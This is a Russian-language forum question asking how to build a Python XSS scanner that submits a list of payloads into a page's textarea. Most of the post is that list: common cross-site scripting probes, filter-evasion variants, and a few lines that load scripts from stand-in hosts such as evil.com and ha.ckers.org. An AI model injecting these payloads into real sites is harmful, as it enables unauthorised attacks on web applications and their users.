Как сделать xss сканер

325

06 августа 2017, 06:17

Добрый вечер хочу сделать xss сканер я знаю что для этого нужна библиотека requests но я не знаю как её реализовать.Как сделать чтобы программа находила <textarea> и прописывала все что находится в scripts.txt:

<body onload=alert("XSS")>
<img src="javascript:alert("XSS");">
<iframe src="http://evil.com/xss.html">
<input type="image" src="javascript:alert('XSS');">
<link rel="stylesheet" href="javascript:alert('XSS');">
<table background="javascript:alert('XSS')">
<div style="background-image: url(javascript:alert('XSS'))">
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">
>'>"><img src=x onerror=alert(0)>
<svg/onload=alert(/RUTHLESS/)>
<img src='aaa'onerror=alert(/@_t0x1c/)>
<!'/*!'/*!//'/*//'/*--!><Input/Autofocus/%0D*/Onfocus=confirm'1'//><Svg>
</style></scRipt><scRipt>alert('OPENBUGBOUNTY')</scRipt>
<sCriPt>alert(1);</sCriPt>
<script>alert(1)</script>
<script src=http://ha.ckers.org/xss.js></script>
'><script>alert(1)</script>
\"><img src=\"blah.jpg\" onerror=\"alert('XSS')\"/>
\"><script>alert(1)</script>
\"\/><img src=\"blahjpg\" onerror=\"alert('XSS')\"/>
\"\/><img src=\"blah.jpg\" onerror=\"alert('XSS')\"/>
\"/><script>alert(1)</script>
<IMG \"\"\"><script>alert(\"XSS\")</script>\">
<script>alert(String.fromCharCode(88,83,83));</script>
"onmouseover=prompt(/XSSPOSED/)
</title><body onload=alert("XSS")>
</title><script>alert(1)</script>
"></title></style></scRipt><scRipt>alert('OPENBUGBOUNTY')</scRipt>